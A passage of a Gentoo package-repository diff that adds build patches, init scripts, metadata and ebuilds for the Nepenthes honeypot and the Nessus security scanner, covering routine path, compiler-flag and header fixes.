+--- a/modules/vuln-bagle/Makefile.am
++++ b/modules/vuln-bagle/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+ pkglib_LTLIBRARIES = vulnbagle.la
+
+--- a/modules/vuln-ssh/Makefile.am
++++ b/modules/vuln-ssh/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+ AM_LDFLAGS = ${LIB_SSH}
+
+ pkglib_LTLIBRARIES = vulnssh.la
+--- a/modules/vuln-kuang2/Makefile.am
++++ b/modules/vuln-kuang2/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulnkuang2.la
+--- a/modules/vuln-msdtc/Makefile.am
++++ b/modules/vuln-msdtc/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulnmsdtc.la
+--- a/modules/x-5/Makefile.am
++++ b/modules/x-5/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = x5.la
+--- a/modules/shellemu-winnt/Makefile.am
++++ b/modules/shellemu-winnt/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = shellemuwinnt.la
+--- a/modules/x-1/Makefile.am
++++ b/modules/x-1/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = x1.la
+--- a/modules/x-4/Makefile.am
++++ b/modules/x-4/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = x4.la
+--- a/modules/vuln-mssql/Makefile.am
++++ b/modules/vuln-mssql/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+ pkglib_LTLIBRARIES = vulnmssql.la
+
+--- a/modules/shellcode-signatures/Makefile.am
++++ b/modules/shellcode-signatures/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+ AM_CFLAGS = -Wall
+ AM_LDFLAGS = ${LIB_PCRE} @LEXLIB@ ${LIB_LIBY}
+
+--- a/modules/download-rcp/Makefile.am
++++ b/modules/download-rcp/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = downloadrcp.la
+--- a/modules/shellcode-generic/Makefile.am
++++ b/modules/shellcode-generic/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+ AM_LDFLAGS = ${LIB_PCRE}
+
+ pkglib_LTLIBRARIES = shellcodegeneric.la
+--- a/modules/module-portwatch/Makefile.am
++++ b/modules/module-portwatch/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = moduleportwatch.la
+--- a/modules/vuln-dameware/Makefile.am
++++ b/modules/vuln-dameware/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulndameware.la
+--- a/modules/sqlhandler-postgres/Makefile.am
++++ b/modules/sqlhandler-postgres/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+ AM_LDFLAGS = ${LIB_POSTGRES}
+
+ pkglib_LTLIBRARIES = sqlhandlerpostgres.la
+--- a/modules/vuln-iis/Makefile.am
++++ b/modules/vuln-iis/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulniis.la
+--- a/modules/download-tftp/Makefile.am
++++ b/modules/download-tftp/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = downloadtftp.la
+--- a/modules/vuln-veritas/Makefile.am
++++ b/modules/vuln-veritas/Makefile.am
+@@ -5,7 +5,7 @@
+ AUTOMAKE_OPTIONS = foreign
+
+ AM_CPPFLAGS = -I$(top_srcdir)/nepenthes-core/include -I$(top_srcdir)/nepenthes-core/src -pipe -D _GNU_SOURCE
+-AM_CXXFLAGS = -Wall -Werror
++AM_CXXFLAGS = -Wall
+
+
+ pkglib_LTLIBRARIES = vulnveritas.la
diff --git a/net-analyzer/nepenthes/files/nepenthes-0.2.2-cachedir.patch b/net-analyzer/nepenthes/files/nepenthes-0.2.2-cachedir.patch
new file mode 100644
index 000000000000..dfebe3b33f65
--- /dev/null
+++ b/net-analyzer/nepenthes/files/nepenthes-0.2.2-cachedir.patch
@@ -0,0 +1,11 @@
+--- a/modules/shellcode-signatures/shellcode-signatures.cpp
++++ b/modules/shellcode-signatures/shellcode-signatures.cpp
+@@ -80,7 +80,7 @@
+ m_ModuleManager = m_Nepenthes->getModuleMgr();
+
+ g_Nepenthes->getShellcodeMgr()->registerShellcodeHandler(new EngineUnicode());
+- return loadSignaturesFromFile(string("var/cache/nepenthes/signatures/shellcode-signatures.sc"));
++ return loadSignaturesFromFile(string("/var/lib/nepenthes/cache/signatures/shellcode-signatures.sc"));
+ }
+
+ bool SignatureShellcodeHandler::Exit()
diff --git a/net-analyzer/nepenthes/files/nepenthes-0.2.2-curl_types_h.patch b/net-analyzer/nepenthes/files/nepenthes-0.2.2-curl_types_h.patch
new file mode 100644
index 000000000000..39a6026010aa
--- /dev/null
+++ b/net-analyzer/nepenthes/files/nepenthes-0.2.2-curl_types_h.patch
@@ -0,0 +1,70 @@
+--- a/modules/submit-http/submit-http.hpp
++++ b/modules/submit-http/submit-http.hpp
+@@ -29,7 +29,6 @@
+ /* $Id$ */
+
+ #include <curl/curl.h>
+-#include <curl/types.h> /* new for v7 */
+ #include <curl/easy.h> /* new for v7 */
+
+ #include "Nepenthes.hpp"
+--- a/modules/submit-http/HTTPSession.cpp
++++ b/modules/submit-http/HTTPSession.cpp
+@@ -28,7 +28,6 @@
+
+
+ #include <curl/curl.h>
+-#include <curl/types.h> /* new for v7 */
+ #include <curl/easy.h> /* new for v7 */
+ #include <sstream>
+ #include <netinet/in.h>
+--- a/modules/submit-http/HTTPSession.hpp
++++ b/modules/submit-http/HTTPSession.hpp
+@@ -29,7 +29,6 @@
+ /* $Id$ */
+
+ #include <curl/curl.h>
+-#include <curl/types.h>
+
+ #include "Download.hpp"
+
+--- a/modules/download-curl/download-curl.hpp
++++ b/modules/download-curl/download-curl.hpp
+@@ -28,7 +28,6 @@
+ /* $Id$ */
+
+ #include <curl/curl.h>
+-#include <curl/types.h> /* new for v7 */
+ #include <curl/easy.h> /* new for v7 */
+
+ #include "Module.hpp"
+--- a/modules/submit-mwserv/submit-mwserv.hpp
++++ b/modules/submit-mwserv/submit-mwserv.hpp
+@@ -27,7 +27,6 @@
+ *******************************************************************************/
+
+ #include <curl/curl.h>
+-#include <curl/types.h>
+ #include <curl/easy.h>
+
+ #include "Nepenthes.hpp"
+--- a/modules/submit-mwserv/TransferSession.hpp
++++ b/modules/submit-mwserv/TransferSession.hpp
+@@ -27,7 +27,6 @@
+ *******************************************************************************/
+
+ #include <curl/curl.h>
+-#include <curl/types.h>
+ #include <curl/easy.h>
+
+ #include <string>
+--- a/modules/submit-norman/submit-norman.hpp
++++ b/modules/submit-norman/submit-norman.hpp
+@@ -29,7 +29,6 @@
+
+
+ #include <curl/curl.h>
+-#include <curl/types.h> /* new for v7 */
+ #include <curl/easy.h> /* new for v7 */
+
+ #include "Module.hpp"
diff --git a/net-analyzer/nepenthes/files/nepenthes-0.2.2-gcc4.patch b/net-analyzer/nepenthes/files/nepenthes-0.2.2-gcc4.patch
new file mode 100644
index 000000000000..621907b64141
--- /dev/null
+++ b/net-analyzer/nepenthes/files/nepenthes-0.2.2-gcc4.patch
@@ -0,0 +1,26 @@
+=== modified file 'nepenthes-core/include/Config.hpp'
+--- a/nepenthes-core/include/Config.hpp
++++ b/nepenthes-core/include/Config.hpp
+@@ -32,6 +32,8 @@
+
+ #include <vector>
+ #include <map>
++#include <cstring>
++#include <stdlib.h>
+
+ // mmap()
+ #ifdef WIN32
+
+=== modified file 'nepenthes-core/include/Nepenthes.hpp'
+--- a/nepenthes-core/include/Nepenthes.hpp
++++ b/nepenthes-core/include/Nepenthes.hpp
+@@ -40,6 +40,8 @@
+
+ #include <stdint.h>
+ #include <string>
++#include <cstring>
++#include <cstdlib>
+
+ typedef unsigned char byte;
+
+
diff --git a/net-analyzer/nepenthes/files/nepenthes-0.2.2-libdir.patch b/net-analyzer/nepenthes/files/nepenthes-0.2.2-libdir.patch
new file mode 100644
index 000000000000..30b88f3d7d35
--- /dev/null
+++ b/net-analyzer/nepenthes/files/nepenthes-0.2.2-libdir.patch
@@ -0,0 +1,16 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -27,11 +27,11 @@
+ *-*-freebsd*)
+ # FreeBSD forgot to install magic.h in a sane location. Bug or Feature?
+ CPPFLAGS="$CPPFLAGS -I/usr/local/include -I/usr/src/contrib/file/"
+- LDFLAGS="$LDFLAGS -L/usr/local/lib -R/usr/local/lib"
++ LDFLAGS="$LDFLAGS -L/usr/local/lib "
+ ;;
+ *-*-linux*)
+ CPPFLAGS="$CPPFLAGS -D _GNU_SOURCE -I/usr/local/include"
+- LDFLAGS="$LDFLAGS -L/usr/local/lib -R/usr/local/lib"
++ LDFLAGS="$LDFLAGS -L/usr/local/lib "
+ ;;
+ *-*-darwin*)
+ CPPFLAGS="$CPPFLAGS -I/opt/local/include"
diff --git a/net-analyzer/nepenthes/files/nepenthes-0.2.2-sysconfdir.patch b/net-analyzer/nepenthes/files/nepenthes-0.2.2-sysconfdir.patch
new file mode 100644
index 000000000000..d86bf31c0a06
--- /dev/null
+++ b/net-analyzer/nepenthes/files/nepenthes-0.2.2-sysconfdir.patch
@@ -0,0 +1,77 @@
+--- a/modules/module-honeytrap/module-honeytrap.conf.dist
++++ b/modules/module-honeytrap/module-honeytrap.conf.dist
+@@ -20,7 +20,7 @@
+ pcap_dump_options
+ {
+ min_packets "3"; // minimum of packets, else the dump gets removed
+- path "var/log/pcap/"; // path for pcap files relative to basedir
++ path "/var/log/nepenthes/pcap/"; // path for pcap files relative to basedir
+ };
+
+ };
+--- a/modules/log-download/log-download.conf.dist
++++ b/modules/log-download/log-download.conf.dist
+@@ -1,5 +1,5 @@
+ log-download
+ {
+- downloadfile "var/log/logged_downloads"; // log download attempts
+- submitfile "var/log/logged_submissions"; // log successfull downloads
++ downloadfile "/var/log/nepenthes/logged_downloads"; // log download attempts
++ submitfile "/var/log/nepenthes/logged_submissions"; // log successfull downloads
+ };
+--- a/modules/submit-file/submit-file.conf.dist
++++ b/modules/submit-file/submit-file.conf.dist
+@@ -1,5 +1,5 @@
+ submit-file
+ {
+- path "var/binaries/";
++ path "/var/lib/nepenthes/binaries/";
+ };
+
+--- a/conf/nepenthes.conf.dist
++++ b/conf/nepenthes.conf.dist
+@@ -3,8 +3,8 @@
+
+ nepenthes
+ {
+- moduledir "lib/nepenthes"; // relative to workdir
+- moduleconfigdir "etc/nepenthes"; // relative to workdir
++ moduledir "/usr/lib/nepenthes"; // relative to workdir
++ moduleconfigdir "/etc/nepenthes"; // relative to workdir
+
+ modules(
+ // module name (in moduledir) config file (in moduleconfigdir)
+@@ -90,8 +90,8 @@
+
+ logmanager
+ {
+- ring_logging_file "var/log/nepenthes.%d.log";
+- file_logging_file "var/log/nepenthes.log";
++ ring_logging_file "/var/log/nepenthes/nepenthes.%d.log";
++ file_logging_file "/var/log/nepenthes/nepenthes.log";
+ };
+
+ modulemanager
+@@ -103,7 +103,7 @@
+ {
+ strictfiletype "1";
+ // where does submit-file write to? set this to the same dir
+- filesdir "var/binaries/";
++ filesdir "/var/lib/nepenthes/binaries/";
+ };
+
+ downloadmanager
+@@ -122,11 +122,11 @@
+
+ utilities
+ {
+- hexdump_path "var/hexdumps/";
++ hexdump_path "/var/lib/nepenthes/hexdumps/";
+ };
+
+ geolocationmanager
+ {
+- cache_path "var/cache/nepenthes/geolocation/";
++ cache_path "/var/lib/nepenthes/cache/geolocation/";
+ };
+ };
diff --git a/net-analyzer/nepenthes/files/nepenthes.confd b/net-analyzer/nepenthes/files/nepenthes.confd
new file mode 100644
index 000000000000..d5ccb515940f
--- /dev/null
+++ b/net-analyzer/nepenthes/files/nepenthes.confd
@@ -0,0 +1,5 @@
+# Config file for /etc/init.d/nepenthes
+
+# Set preferred options here
+NEPENTHES_OPTS="--user nepenthes --group nepenthes"
+
diff --git a/net-analyzer/nepenthes/files/nepenthes.initd b/net-analyzer/nepenthes/files/nepenthes.initd
new file mode 100644
index 000000000000..1ff1bff1ab3e
--- /dev/null
+++ b/net-analyzer/nepenthes/files/nepenthes.initd
@@ -0,0 +1,21 @@
+#!/sbin/runscript
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+start() {
+ ebegin "Starting nepenthes"
+ start-stop-daemon --start --quiet --background --exec /usr/sbin/nepenthes -- ${NEPENTHES_OPTS}
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping nepenthes"
+ start-stop-daemon --stop --quiet --retry 5 --exec /usr/sbin/nepenthes
+ eend $?
+}
+
diff --git a/net-analyzer/nepenthes/metadata.xml b/net-analyzer/nepenthes/metadata.xml
new file mode 100644
index 000000000000..bab70ebde71d
--- /dev/null
+++ b/net-analyzer/nepenthes/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription lang="en">
+ Nepenthes is a low interaction honeypot that captures worms by emulating
+ known vulnerabilities.
+ </longdescription>
+ <upstream>
+ <remote-id type="sourceforge">nepenthes</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nepenthes/nepenthes-0.2.2-r1.ebuild b/net-analyzer/nepenthes/nepenthes-0.2.2-r1.ebuild
new file mode 100644
index 000000000000..eb60c7f8000d
--- /dev/null
+++ b/net-analyzer/nepenthes/nepenthes-0.2.2-r1.ebuild
@@ -0,0 +1,75 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils user
+
+DESCRIPTION="Nepenthes is a low interaction honeypot that captures worms by emulating known vulnerabilities"
+HOMEPAGE="http://nepenthes.sourceforge.net"
+SRC_URI="
+ mirror://sourceforge/${PN}/${P}.tar.bz2
+ https://dev.gentoo.org/~jer/${P}-gcc44.patch.bz2
+"
+# The gcc44 patch includes CVS headers so we do not put it in the tree
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+
+RDEPEND="
+ >=net-misc/curl-7.22.0
+ dev-libs/libpcre
+ net-libs/adns
+ sys-apps/file
+"
+DEPEND="${RDEPEND}"
+
+pkg_setup() {
+ enewgroup nepenthes
+ enewuser nepenthes -1 -1 /dev/null nepenthes
+}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-Werror.patch \
+ "${FILESDIR}"/${P}-cachedir.patch \
+ "${FILESDIR}"/${P}-curl_types_h.patch \
+ "${FILESDIR}"/${P}-gcc4.patch \
+ "${FILESDIR}"/${P}-libdir.patch \
+ "${FILESDIR}"/${P}-sysconfdir.patch \
+ "${WORKDIR}"/${P}-gcc44.patch
+
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ --disable-static \
+ --enable-capabilities \
+ --localstatedir=/var/lib/nepenthes \
+ --sysconfdir=/etc
+}
+
+src_install() {
+ default
+
+ dodoc doc/README.VFS AUTHORS
+ dosbin nepenthes-core/src/nepenthes
+ rm "${D}"/usr/bin/nepenthes
+ rm "${D}"/usr/share/doc/README.VFS
+ rm "${D}"/usr/share/doc/logo-shaded.svg
+
+ newinitd "${FILESDIR}/${PN}.initd" "${PN}"
+ newconfd "${FILESDIR}/${PN}.confd" "${PN}"
+
+ diropts -m 755 -o nepenthes -g nepenthes
+ keepdir /var/log/nepenthes
+ keepdir /var/lib/nepenthes
+ keepdir /var/lib/nepenthes/binaries
+ keepdir /var/lib/nepenthes/hexdumps
+ keepdir /var/lib/nepenthes/cache
+ keepdir /var/lib/nepenthes/cache/geolocation
+
+ prune_libtool_files
+}
diff --git a/net-analyzer/nepenthes/nepenthes-0.2.2.ebuild b/net-analyzer/nepenthes/nepenthes-0.2.2.ebuild
new file mode 100644
index 000000000000..500ee35a2b9f
--- /dev/null
+++ b/net-analyzer/nepenthes/nepenthes-0.2.2.ebuild
@@ -0,0 +1,82 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="2"
+inherit autotools eutils user
+
+DESCRIPTION="Nepenthes is a low interaction honeypot that captures worms by emulating known vulnerabilities"
+HOMEPAGE="http://nepenthes.sourceforge.net"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.bz2
+ mirror://gentoo/${P}-gcc44.patch.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE=""
+# selinux
+
+DEPEND="net-misc/curl
+ sys-apps/file
+ dev-libs/libpcre
+ net-libs/adns"
+
+RDEPEND=""
+#RDEPEND=" selinux? ( sec-policy/selinux-nepenthes )"
+
+pkg_setup() {
+ enewgroup nepenthes
+ enewuser nepenthes -1 -1 /dev/null nepenthes
+}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-gcc4.patch
+ epatch "${WORKDIR}"/${P}-gcc44.patch
+ sed -i modules/shellcode-signatures/shellcode-signatures.cpp \
+ -e 's|var/cache|/var/lib/cache|' || die
+ sed -i configure.ac \
+ -e 's|-R/usr/local/lib||g' || die
+ find . -name Makefile.am -exec sed 's: -Werror::' -i '{}' \;
+
+ # fix for bug #426482
+ has_version ">=net-misc/curl-7.22.0" && find . -type f -exec sed '/#include <curl\/types.h>/d' -i '{}' \;
+
+ eautoreconf
+}
+
+src_configure() {
+ econf --sysconfdir=/etc \
+ --localstatedir=/var/lib/nepenthes \
+ --enable-capabilities
+}
+
+src_install() {
+ einstall || die "make install failed"
+
+ for i in "${D}"/etc/nepenthes/*; do
+ sed -i \
+ -e 's|"var/binaries|"/var/lib/nepenthes/binaries|' \
+ -e 's|"var/hexdumps|"/var/lib/nepenthes/hexdumps|' \
+ -e 's|"var/cache/nepenthes|"/var/lib/nepenthes/cache|' \
+ -e 's|"var/log|"/var/log/nepenthes|' \
+ -e 's|"lib/nepenthes|"/usr/lib/nepenthes|' \
+ -e 's|"etc|"/etc|' $i
+ done
+
+ dodoc doc/README.VFS AUTHORS
+ dosbin nepenthes-core/src/nepenthes || die "dosbin failed"
+ rm "${D}"/usr/bin/nepenthes
+ rm "${D}"/usr/share/doc/README.VFS
+ rm "${D}"/usr/share/doc/logo-shaded.svg
+
+ newinitd "${FILESDIR}/${PN}.initd" "${PN}"
+ newconfd "${FILESDIR}/${PN}.confd" "${PN}"
+
+ diropts -m 755 -o nepenthes -g nepenthes
+ keepdir /var/log/nepenthes
+ keepdir /var/lib/nepenthes
+ keepdir /var/lib/nepenthes/binaries
+ keepdir /var/lib/nepenthes/hexdumps
+ keepdir /var/lib/nepenthes/cache
+ keepdir /var/lib/nepenthes/cache/geolocation
+}
diff --git a/net-analyzer/nessus-bin/Manifest b/net-analyzer/nessus-bin/Manifest
new file mode 100644
index 000000000000..e1417086c2d5
--- /dev/null
+++ b/net-analyzer/nessus-bin/Manifest
@@ -0,0 +1,4 @@
+DIST Nessus-4.4.1-es6.i686.rpm 11222888 SHA256 91420688688da3347c0f2ad2be38b4495bedc4a94d1a1e159afb6ba5d2029bdc
+DIST Nessus-4.4.1-es6.x86_64.rpm 12516672 SHA256 b06585509ac4bcda874a333a22eaffef78aa9642c79350ef9b5a5a8c169be58a
+DIST Nessus-5.0.1-es6.i686.rpm 20401680 SHA256 540ca445d5eb886335f38b5e7b69f2c1c512eda9f633199cf31e29abc519432e SHA512 5d86549903ee71250a120d5c413e502041f3d36ff4712ff1e567c77750b723ab36b1da55b5035ce3b5e74adc2fb30f42153c2d0bd7bf1ff410daf2ab64a86eab WHIRLPOOL f2f5ec35b7d84ee61ed9a65f97bf7ffcd51e87a8b565fbc4d6836288f0ceb3093a007a9f8d6217f3931c6d21e7a2dd950aa3cd2e5bf43d3591437a4e917e5066
+DIST Nessus-5.0.1-es6.x86_64.rpm 22784992 SHA256 dc5c1af6dfc80b20e6019c86ee5b21178347817b50edd2f8c287f03cec8a1837 SHA512 180066cefabf56f1be416ff97e50171d9c75d19d03980e84696a8c34aba7628bdf12c0189e1c589eb1bba32ca38602023563f6d9e5c30cc3ec3a875fa08cc3a1 WHIRLPOOL 1f574f7984710ed594a67f5050a9672a0a87b34319a5f1c478d9bdd308b6503dd92ac2d4031ee468e62c8eb937ae0f2268ffe78e4c380090cdd44f22f9faa473
diff --git a/net-analyzer/nessus-bin/files/90nessus-bin b/net-analyzer/nessus-bin/files/90nessus-bin
new file mode 100644
index 000000000000..598d86b3cd70
--- /dev/null
+++ b/net-analyzer/nessus-bin/files/90nessus-bin
@@ -0,0 +1 @@
+LDPATH="/opt/nessus/lib"
diff --git a/net-analyzer/nessus-bin/files/nessusd-initd b/net-analyzer/nessus-bin/files/nessusd-initd
new file mode 100644
index 000000000000..af95f2b014c2
--- /dev/null
+++ b/net-analyzer/nessus-bin/files/nessusd-initd
@@ -0,0 +1,26 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+start() {
+ ebegin "Starting nessus-service"
+ start-stop-daemon --start --quiet --exec /opt/nessus/sbin/nessus-service -- -D --quiet
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping nessus-service"
+ start-stop-daemon --stop --quiet --exec /opt/nessus/sbin/nessus-service
+ einfo "Waiting for the environment to be sane"
+ while [ -n "$RUNNING" ] ; do
+ sleep 1
+ RUNNING=$(ps aux | grep -m 1 nessusd: | grep -v grep)
+ done
+ sleep 3
+ eend $?
+}
diff --git a/net-analyzer/nessus-bin/metadata.xml b/net-analyzer/nessus-bin/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/nessus-bin/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/nessus-bin/nessus-bin-4.4.1.ebuild b/net-analyzer/nessus-bin/nessus-bin-4.4.1.ebuild
new file mode 100644
index 000000000000..fedfed164e41
--- /dev/null
+++ b/net-analyzer/nessus-bin/nessus-bin-4.4.1.ebuild
@@ -0,0 +1,69 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+inherit multilib rpm
+
+MY_P="Nessus-${PV}-es6"
+# We are using the Red Hat/CentOS binary
+
+DESCRIPTION="A remote security scanner for Linux"
+HOMEPAGE="http://www.nessus.org/"
+SRC_URI="
+ x86? ( ${MY_P}.i686.rpm )
+ amd64? ( ${MY_P}.x86_64.rpm )"
+
+RESTRICT="mirror fetch strip"
+
+LICENSE="GPL-2 Nessus-EULA"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE="X"
+
+pkg_nofetch() {
+ einfo "Please download ${A} from ${HOMEPAGE}/download"
+ einfo "The archive should then be placed into ${DISTDIR}."
+}
+
+pkg_setup() {
+ case ${CHOST} in
+ i686-pc-linux-gnu*) einfo "Found compatible architecture." ;;
+ x86_64-pc-linux-gnu*) einfo "Found compatible architecture." ;;
+ *) die "No compatible architecture found." ;;
+ esac
+}
+
+src_install() {
+ cp -pPR "${WORKDIR}"/opt "${D}"/
+
+ # make sure these directories do not vanish
+ # nessus will not run properly without them
+ keepdir /opt/nessus/etc/nessus
+ keepdir /opt/nessus/var/nessus/jobs
+ keepdir /opt/nessus/var/nessus/logs
+ keepdir /opt/nessus/var/nessus/tmp
+ keepdir /opt/nessus/var/nessus/users
+
+ # add PATH and MANPATH for convenience
+ doenvd "${FILESDIR}"/90nessus-bin
+
+ # init script
+ newinitd "${FILESDIR}"/nessusd-initd nessusd-bin
+ dosym libssl.so /usr/$(get_libdir)/libssl.so.10
+ dosym libcrypto.so /usr/$(get_libdir)/libcrypto.so.10
+}
+
+pkg_postinst() {
+ elog "You can get started running the following commands:"
+ elog "/opt/nessus/sbin/nessus-adduser"
+ elog "/opt/nessus/sbin/nessus-mkcert"
+ elog "/opt/nessus/bin/nessus-fetch --register <your registration code>"
+ elog "/etc/init.d/nessusd-bin start"
+ elog
+ elog "If you had a previous version of Nessus installed, use"
+ elog "the following command to update the plugin database:"
+ elog "/opt/nessus/sbin/nessusd -R"
+ elog
+ elog "For more information about nessus, please visit"
+ elog "${HOMEPAGE}/documentation/"
+}
diff --git a/net-analyzer/nessus-bin/nessus-bin-5.0.1.ebuild b/net-analyzer/nessus-bin/nessus-bin-5.0.1.ebuild
new file mode 100644
index 000000000000..27b0440ab423
--- /dev/null
+++ b/net-analyzer/nessus-bin/nessus-bin-5.0.1.ebuild
@@ -0,0 +1,61 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+inherit multilib rpm
+
+MY_P="Nessus-${PV}-es6"
